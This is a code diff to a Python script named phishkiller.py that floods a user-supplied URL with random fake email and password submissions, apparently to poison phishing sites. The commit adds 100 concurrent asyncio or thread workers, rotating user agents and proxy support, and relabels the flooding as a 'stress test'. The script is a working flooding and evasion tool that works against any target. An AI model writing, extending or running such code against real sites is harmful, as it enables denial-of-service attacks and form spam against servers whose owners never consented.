added async, dyn user-agent generation, AND PROXY SUPPORT

phishkiller.py

@@ -3,27 +3,25 @@
 import random
 import string
 import names
-import subprocess
-
+import asyncio
+import aiohttp
 from fake_useragent import UserAgent
+import time
 
-
-
-
-def name_gen():#Generates a random name for the email
+def name_gen():
     name_system = random.choice(["FullName", "FullFirstFirstInitial", "FirstInitialFullLast"])
     first_name = names.get_first_name()
     last_name = names.get_last_name()
-    if name_system == "FullName":#JohnDoe
+    if name_system == "FullName":
         return first_name + last_name
-    elif name_system == "FullFirstFirstInitial":#JohnD
+    elif name_system == "FullFirstFirstInitial":
         return first_name + last_name[0]
-    return first_name[0] + last_name#JDoe
+    return first_name[0] + last_name
 
 def generate_random_email():
     name = name_gen()
-    NumberOrNo=random.choice(["Number", "No"])
-    domain = random.choice(["@gmail.com", "@yahoo.com", "@rambler.ru", "@protonmail.com", "@outlook.com", "@itunes.com"])#Popular email providers
+    NumberOrNo = random.choice(["Number", "No"])
+    domain = random.choice(["@gmail.com", "@yahoo.com", "@rambler.ru", "@protonmail.com", "@outlook.com", "@itunes.com"])
     if NumberOrNo == "Number":
         return name + str(random.randint(1, 100)) + domain
     else:
@@ -32,26 +30,59 @@ def generate_random_email():
 def generate_random_password():
     return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
 
-def send_posts(url):
+async def send_posts_async(url, proxy):
     while True:
-        email = generate_random_email()
-        password = generate_random_password()
-        data = {"a": email, "az": password}
-        ua = UserAgent()
-        user_agent = ua.random
-        headers = {'User-Agent': user_agent}
-        response = requests.post(url, data=data, headers=headers,)
-        print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}")
-
-def main():
-    url = input("Enter the URL of the target you want to flood: ")
-    threads = [threading.Thread(target=send_posts, args=(url,), daemon=True) for _ in range(25)]
+        try:
+            email = generate_random_email()
+            password = generate_random_password()
+            data = {"a": email, "az": password}
+            ua = UserAgent()
+            user_agent = ua.random
+            headers = {'User-Agent': user_agent}
+            async with aiohttp.ClientSession() as session:
+                async with session.post(url, data=data, headers=headers, proxy=proxy) as response:
+                    print(f"Email: {email}, Password: {password}, Status Code: {response.status}, headers: {user_agent}, proxy: {proxy}")
+        except Exception as e:
+            print(f"An error occurred: {e}")
+
+async def main_async(url, proxy):
+    tasks = [send_posts_async(url, proxy) for _ in range(100)]
+    await asyncio.gather(*tasks)
 
+def send_posts(url, proxies):
+    while True:
+        try:
+            email = generate_random_email()
+            password = generate_random_password()
+            data = {"a": email, "az": password}
+            ua = UserAgent()
+            user_agent = ua.random
+            headers = {'User-Agent': user_agent}
+            response = requests.post(url, data=data, headers=headers, proxies=proxies)
+            print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}, proxy: {proxies}")
+        except Exception as e:
+            print(f"An error occurred: {e}")
+
+def start_threading(url, proxies):
+    threads = [threading.Thread(target=send_posts, args=(url, proxies), daemon=True) for _ in range(100)]
     for t in threads:
         t.start()
-
     for t in threads:
         t.join()
 
+def stress_test():
+    method = input("Choose the method for stress testing (threading/asyncio): ").strip().lower()
+    url = input("Enter the URL of the target you want to flood: ")
+    proxy = input("Enter the proxy (e.g., http://proxyserver:port or leave blank for no proxy): ").strip()
+
+    proxies = {"http": proxy, "https": proxy} if proxy else None
+
+    if method == "asyncio":
+        asyncio.run(main_async(url, proxy))
+    elif method == "threading":
+        start_threading(url, proxies)
+    else:
+        print("Invalid method. Choose either 'threading' or 'asyncio'.")
+
 if __name__ == "__main__":
-    main()
+    stress_test()